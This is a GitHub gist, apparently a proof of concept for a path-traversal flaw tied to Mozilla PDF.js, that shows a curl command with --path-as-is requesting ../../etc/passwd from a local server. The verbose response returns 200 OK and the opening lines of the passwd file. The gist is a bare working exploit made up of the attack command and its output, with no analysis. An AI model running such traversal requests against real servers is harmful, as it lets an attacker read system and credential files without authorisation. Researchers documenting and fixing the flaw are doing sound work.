Skip to content

Instantly share code, notes, and snippets.

@RootUp
Created November 15, 2018 06:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RootUp/baeae9900a1bf1cff961548d7d230802 to your computer and use it in GitHub Desktop.
Save RootUp/baeae9900a1bf1cff961548d7d230802 to your computer and use it in GitHub Desktop.
Mozilla PDF.js
input0@zero:~$ curl --path-as-is -v http://127.0.0.1:8888/../../../../../../etc/passwd
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8888 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: 127.0.0.1:8888
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Content-Type: application/octet-stream
< Content-Length: 2745
< Date: Thu, 15 Nov 2018 06:34:32 GMT
< Connection: keep-alive
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
......
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment